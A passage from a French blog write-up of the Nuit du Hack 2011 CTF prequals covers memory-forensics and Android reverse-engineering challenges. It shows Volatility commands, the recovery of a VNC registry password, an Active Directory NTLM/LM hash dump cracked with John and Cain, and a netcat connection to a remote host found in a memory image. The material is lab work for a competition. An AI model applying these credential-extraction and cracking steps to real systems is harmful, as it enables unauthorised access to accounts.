KDBG : 0x80544ce0L
KPCR : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2011-03-10 13:28:56
Image local date and time : 2011-03-10 13:28:56
Image Type : Service Pack 2

Nous voyons que la RAM provient d’un système Windows XP. Regardons maintenant la liste des processus :

$python vol.py -f dump.raw pslist

Volatile Systems Volatility Framework 1.4_rc1
Offset(V)  Name                 PID    PPID   Thds   Hnds   Time
———- ——————– —— —— —— —— ——————-
0x821c8830 System                    4      0     53    258 1970-01-01 00:00:00
0x81e356d8 smss.exe                544      4      3     21 2011-03-10 13:02:27
0x81e216e8 csrss.exe               608    544     11    319 2011-03-10 13:02:29
0x820ac9c0 winlogon.exe            632    544     19    440 2011-03-10 13:02:29
0x821365b0 services.exe            684    632     16    338 2011-03-10 13:02:30
0x81bce938 lsass.exe               696    632     19    328 2011-03-10 13:02:30
0×82029720 svchost.exe             860    684     17    210 2011-03-10 13:02:31
0x81bd1500 svchost.exe             928    684      9    232 2011-03-10 13:02:31
0x81bf4020 svchost.exe            1020    684     59   1148 2011-03-10 13:02:31
0x81e123c0 svchost.exe            1064    684      4     74 2011-03-10 13:02:31
0x820df548 svchost.exe            1300    684     14    203 2011-03-10 13:02:33
0x81c1d7e8 spoolsv.exe            1472    684     10    108 2011-03-10 13:02:34
0x81fcf620 explorer.exe           1580   1564     11    446 2011-03-10 13:02:34
0x81bb0020 ctfmon.exe             1664   1580      1     66 2011-03-10 13:02:35
0x81d92020 alg.exe                 500    684      6    104 2011-03-10 13:02:58
0x81be8020 wscntfy.exe             532   1020      1     36 2011-03-10 13:02:59
0x81dea980 winvnc4.exe            1696    684      3     67 2011-03-10 13:09:47
0x81f94da0 mmc.exe                1512   1580      7    241 2011-03-10 13:28:14
0x81deb558 wmiprvse.exe           1460    860     13    204 2011-03-10 13:28:33

Nous voyons ici notre beau processus winvnc4.exe avec un pid 1696.

En recherchant sur notre meilleur ami (après Lassie), on apprend que VNC stock les mots de passe dans des clés registre. Voyons cela :

$python vol.py -f dump.raw regobjkeys -p 1696

Volatile Systems Volatility Framework 1.4_rc1
Offset(V)  Type   Pid:   1696
0xe1d64140 Key    MACHINE
0xe10f5a48 Key    MACHINE\SOFTWARE\REALVNC\WINVNC4
0xe1bb4020 Key    MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9
0xe19fd500 Key    MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5
0xe1a28480 Key    USER

Continuons…

$python vol.py printkey -f dump.raw -K ‘MACHINE\SOFTWARE\REALVNC\WINVNC4′

Volatile Systems Volatility Framework 1.4_rc1
Legend: (S) = Stable   (V) = Volatile

The requested key could not be found in the hive(s) searched

Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: WinVNC4 (S)
Last updated: 2011-03-10 13:10:51

Subkeys:

Values:
REG_BINARY    Password        : (S)
0000   DA 6E 31 84 95 77 AD 6B                            .n1..w.k

REG_SZ        SecurityTypes   : (S) VncAuth
REG_SZ        ReverseSecurityTypes : (S) None
REG_DWORD     QueryConnect    : (S) 0
REG_DWORD     QueryOnlyIfLoggedOn : (S) 0

Yeah, nous avons le mot de passe en REG_BINARY, trouvons un moyen pour l’avoir en clair (merci google) :

http://packetstormsecurity.org/Crackers/vncdec.c

Après avoir compilé et lancé ce code, nous obtenons : secretpq

6)FORENSIC200

Le fichier README nous indique la chose suivante :

==
On a dumpé le fichier ntds.dit d’une machine exécutant un Active Directory. Il faut recuperer le mot de passe du compte john.
==

Prenons notre pelle (plus rapide qu’un poney selon kr0ch0u) Google afin de trouver quelques informations sur la manière dont lire ou insérer notre fichier sur un serveur Windows.

On tombe rapidement sur un article nous indiquant la manière dont charger notre fichier sur un Active Directory offline (windows 2008 server).

N’ayant pas de 2008 sous la main, kr0ch0u a commencé à le télécharger mais voyant que cela allez prendre des heures, nous avons abandonné cette idée.

C’est à ce moment qu’un Monsieur du pseudo de Joanelis nous indique que c’est bon, il a obtenu les hash via « passcap » :

Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:Compte d’utilisateur d’administration:
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:NT history hash:
Administrateur:500:NO PASSWORD*********************:fbbf55d0ef0e34d39593f55c5f2ca5f2:NT history hash:
Invit?:501:NO PASSWORD*********************:NO PASSWORD*********************:Compte d’utilisateur invit?:
SUPPORT_388945a0:1001:NO PASSWORD*********************:30d4a2ef16deff366bd4b9f010b1bd26:Ceci est le compte d’un fournisseur pour les service Aide et support:
SYSDREAM-TTXW4P$:1005:NO PASSWORD*********************:6580b1de7daec96c9d98dbcd2f63f527::
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:Compte de service du centre de distribution de cl?s:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:NT history hash:
john:1108:615a367ca6280c40b4c08420b3143e50:3fb89706895e92798aeda7a399a6c417::
john:1108:615a367ca6280c40b4c08420b3143e50:NO PASSWORD*********************:LM history hash:
john:1108:NO PASSWORD*********************:3fb89706895e92798aeda7a399a6c417:NT history hash:

Balançons un coup de john sur john ^_^

Apres quelques heures on arrive enfin a trouver le clair : TGYD7OE25G
Malheureusement, ceci n’est pas le flag permettant de valider l’épreuve ! :-(

Testons avec « Cain« … un petit coup de magie vaudou et hop : TgYD7oE25g

7)FORENSIC300

Dans l’intitulé de l’épreuve, on nous parle d’un ministère ayant été attaqué et que notre but est de comprendre ce qui s’est passé.

On nous donne une archive zip contenant  « DumpRAM_CTF.vmem » (on sait qu’il s’agit de la RAM a analyser).

Reprenons donc notre Volatility :

$python vol.py -f DumpRAM_CTF.vmem imageinfo

Suggested Profile(s) : Win7SP1x86, Win7SP0x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/DumpRAM_CTF.vmem)
PAE type : No PAE
DTB : 0×185000
KDBG : 0x8276ebe8L
KPCR : 0x8276fc00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2011-03-31 14:41:00
Image local date and time : 2011-03-31 14:41:00
Image Type :

Cette fois-ci, nous avons du Windows 7

Voyons du côté des processus :

$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 pslist

WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
Offset(V)  Name                 PID    PPID   Thds   Hnds   Time
———- ——————– —— —— —— —— ——————-
0x839af898 System                    4      0     70    434 2011-03-31 14:38:10
0x84c01d40 smss.exe                216      4      2     29 2011-03-31 14:38:10
0x84ea8030 csrss.exe               304    296      8    310 2011-03-31 14:38:18
0x84688d40 wininit.exe             340    296      3     79 2011-03-31 14:38:19
0x84f23d40 csrss.exe               352    332      7    169 2011-03-31 14:38:19
0x84f8f098 winlogon.exe            392    332      4    112 2011-03-31 14:38:20
0x84fa8b20 services.exe            416    340      9    185 2011-03-31 14:38:20
0x84fb4030 lsass.exe               424    340      8    462 2011-03-31 14:38:21
0x84fb6030 lsm.exe                 432    340     10    141 2011-03-31 14:38:21
0x84fd9bc0 svchost.exe             556    416     13    354 2011-03-31 14:38:23
0×85031158 svchost.exe             632    416      7    218 2011-03-31 14:38:24
0x851757e0 svchost.exe             676    416     20    408 2011-03-31 14:38:25
0x851d5030 svchost.exe             800    416     19    401 2011-03-31 14:38:28
0x851d06a8 svchost.exe             832    416     34    902 2011-03-31 14:38:28
0×85204620 svchost.exe             944    416     13    265 2011-03-31 14:38:29
0x847ced40 dwm.exe                1080    800      4     70 2011-03-31 14:38:31
0x8521c030 svchost.exe            1140    416     16    365 2011-03-31 14:38:32
0x852519e8 spoolsv.exe            1276    416     14    281 2011-03-31 14:38:34
0x8525e910 svchost.exe            1312    416     22    311 2011-03-31 14:38:34
0x85266d40 taskhost.exe           1324    416     11    166 2011-03-31 14:38:34
0x8529d4f0 sppsvc.exe             1664    416      4    146 2011-03-31 14:38:39
0x848a7030 explorer.exe           2004   1992     24    591 2011-03-31 14:38:55
0x84e9f6c8 rundll32.exe            356    300      4     66 2011-03-31 14:38:57
0×85380030 rundll32.exe            500    332      4     66 2011-03-31 14:38:57
0×85389478 rundll32.exe            496    504      4     67 2011-03-31 14:38:58
0x84df1b70 SearchIndexer.         1528    416     14    605 2011-03-31 14:39:05
0x839d7830 cmd.exe                1392   2004      1     23 2011-03-31 14:39:39
0x8517c800 conhost.exe            1380    352      3     57 2011-03-31 14:39:40
0x853ebb30 mscorsvw.exe            188    416      6     77 2011-03-31 14:40:38
0x853ea030 svchost.exe             668    416     13    315 2011-03-31 14:40:40
0x83ace030 nc.exe                 1720   1392      2     72 2011-03-31 14:40:41

Le fichier nc.exe nous a paru intéressant. Commençons donc par le dumper et voyons ce que ça donne dans un éditeur hexadécimal :

$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 -p 1720 procmemdump -D out/

WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
************************************************************************
Dumping nc.exe, pid:   1720 output: executable.1720.exe

En parcourant l’hexa, nous sommes tombés  sur  le flag suivant : Secret pass is H4x0r.

Malheureusement, c’était un faux flag.

Continuons en regardant du côté des connexions :

$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 netscan

Offset     Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
0x1e4f5930 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe
0x1e4f5930 TCPv6    :::49156                       :::0                 LISTENING        416      services.exe
0x1e757008 TCPv4    192.168.163.216:139            0.0.0.0:0            LISTENING        4        System
0x1e764b88 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe
0x1e764b88 TCPv6    :::135                         :::0                 LISTENING        632      svchost.exe
0x1e76ca58 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe
0x1e76ebc8 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe
0x1e76ebc8 TCPv6    :::49152                       :::0                 LISTENING        340      wininit.exe
0x1e7872f0 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe
0x1e7ca9b0 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe
0x1e7ca9b0 TCPv6    :::49153                       :::0                 LISTENING        676      svchost.exe
0x1e7caf60 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe
0x1eea5f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe
0x1eea5f60 TCPv6    :::49155                       :::0                 LISTENING        832      svchost.exe
0x1eea6f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe
0x1f07fcc0 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe
0x1f080f60 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe
0x1f080f60 TCPv6    :::49154                       :::0                 LISTENING        424      lsass.exe
0x1fc482d0 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe
0x1fc49560 TCPv4    0.0.0.0:445                    0.0.0.0:0            LISTENING        4        System
0x1fc49560 TCPv6    :::445                         :::0                 LISTENING        4        System
0x1f086df8 TCPv4    192.168.163.216:49158          88.190.230.12:48625  ESTABLISHED      1720     nc.exe
0x1e608d30 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e60d378 UDPv4    0.0.0.0:0                      *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e60d378 UDPv6    :::0                           *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e633198 UDPv4    192.168.163.216:137            *:*                                   4        System         2011-03-31 14:38:46
0x1e75a178 UDPv4    192.168.163.216:138            *:*                                   4        System         2011-03-31 14:38:46
0x1e7c6198 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e7c6198 UDPv6    :::5355                        *:*                                   1140     svchost.exe    2011-03-31 14:38:55

Tiens, notre nc.exe est connecté a l’adresse IP  « 88.190.230.12 » sur le port « 48625 » , passons donc leur faire un petit coucou ;-)

$nc 88.190.230.12 48625

Secret pass is H4x0r
Nice job!

The hash is 9vjgH368$hgHGjh.

8)RCE200

L’archive de cette épreuve contient le fichier « RCE.APK » pouvant être dézippé au moyen de unzip.

Plusieurs fichiers dont un .dex étaient présents en sortie.
Prenons donc l’utilitaire « dex2jar » afin de transformer comme son nom l’indique le .dex en .jar.

Décompilons maintenant ce .jar avec « jd-gui » :

Nous pouvons observer 4 classes : reverseme, a, b, c.

Voyons ce que contient la dernière :

Nous pouvons voir qu’il y a plusieurs chaînes obfusquées par un XOR avec une clé de 0x3C. Lançons le code java suivant afin de récupérer les chaînes désobfusquées :

Lien vers code RCE200

Ok, cassons le MD5 que nous obtenons en sortie « f9dd11ff6857af73ac9a944dfc52f41b« ,  ce qui nous donne le clair suivant :  « salo**« 

L’application ayant été installée sur mon téléphone, elle attendait qu’on lui donne ce mot de passe de vive voix. J’ai donc crié comme un dératé le mot « salo… », ma chérie me prenant surement pour un fou (merci Virtu, je retiens !!!).

Malheureusement, chez moi, l’application n’a rien voulue savoir. Mais ce n’était pas bien grave car le flag était simplement le SHA-1 du mot en question ;-)

913beccad686975f8c686d9b3b1ee6bb97c22d6f

Voilà que se termine notre petit Writeup.

En tout cas c’était bien sympathique même si nous n’avons pas réussi 4 épreuves (2 crypto et 2  RCE) parmi les 12 proposées. J’espère qu’il y aura assez de désistement pour que l’on puisse tout de même participer au CTF de la Nuit Du Hack ;)

Merci encore à la Team Zenk !

Liste de WRITEUPS

Backup des épreuves : http://repo.shell-storm.org/CTF/NDH2K11-prequals/
Résumé côté organisateurs : http://crashfr.thehackademy.net/resume-prequals-nuit-du-hack-2011

Disekt Writeup : http://disekt.inetric.com/taxonomy/term/68
Smoked Chicken Writeup : http://smokedchicken.org/m/mt-search.cgi?search=Nuit+Du+Hack&IncludeBlogs=1&limit=20
404NameNotF0und Writeup : http://blog.w3challs.com/index.php?post/2011/04/05/NDH2k11-Prequals-Compte-Rendu-!#prequals
RCE200 : http://binholic.blogspot.com/2011/04/prequals-ndh2011-rce200-android.html
FORENSIC100 : http://binholic.blogspot.com/2011/04/prequals-ndh2011-forensic-1-windows.html
CRYPTO300 : http://leetmore.ctf.su/wp/nuit-du-hack-2011-ctf-crypto-300/
CRYPTO300 : http://auntitled.blogspot.com/2011/04/nuit-du-hack-ctf-2011-crypto-300.html

 

Posté dans Evènements par Nico. 6 Commentaires